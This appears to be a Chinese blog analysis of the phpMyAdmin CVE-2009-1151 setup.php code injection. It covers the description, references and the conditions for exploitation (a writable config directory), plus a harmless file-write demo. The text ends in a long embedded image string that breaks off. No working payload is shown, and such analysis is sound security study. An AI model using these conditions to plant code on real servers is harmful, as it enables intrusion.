phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151

时间:2024-01-17 11:03:14

目录

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Insufficient output sanitizing when generating configuration file
phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL
phpMyAdmin的Setup脚本用于生成配置。如果远程攻击者向该脚本提交了特制的POST请求的话,就可能在生成的config.inc.php 配置文件中包含任意PHP代码。由于配置文件被保存到了服务器上,未经认证的远程攻击者可以利用这个漏洞执行任意PHP代码

Relevant Link:

http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1151
http://cwe.mitre.org/data/definitions/661.html
http://sebug.net/vuldb/ssvid-11665
http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/

2. 漏洞触发条件

要使用这个漏洞对服务器进行攻击,需要满足几个必要的条件) linux: config目录对web server的账户(常常是other组)具有写(r)权限

. PHPMyadmin目录下存在config文件夹
/*
<?php
$config = @fopen('./config/config.inc.php', 'w');
$s = "hello";
$r = fwrite($config, $s);
fclose($config);
?>
demo代码向config.inc.php中写入数据,但是如果config文件夹本身不存在,fopen函数是无法直接创新新目录并写入文件的,如要显式地创建新目录,并向目标文件写入数据
*/
这个漏洞的攻击场景是通过Code Inject(代码注入),基于WEB容器向磁盘上写入文件(创建文件),但是我们知道操作系统的写文件API是不会自动创建目录的,如果config这个文件夹不存在,则即使存在漏洞,也无法成功利用 . Web Server Writable
通过代码漏洞进行GETSHELL,本质上是在利用WEB容器调用操作系统的"文件系统API"进行磁盘读写,向指定的磁盘目录下写入一个特定内容的文件。所以,这就要求WEB容器对指定的磁盘路径具有"可写"的权限
) windows: config目录对web server的账户具有写权限 . /scripts/setup.php文件本身存在漏洞
代码未对sava post的数据进行有效过滤、转义,是导致WEB入侵的根本原因

0x0: 简单判断是否可能存在漏洞的方式

http://localhost/phpMyAdmin-2.11.11.3-all-languages/scripts/setup.php

aaarticlea/png;base64,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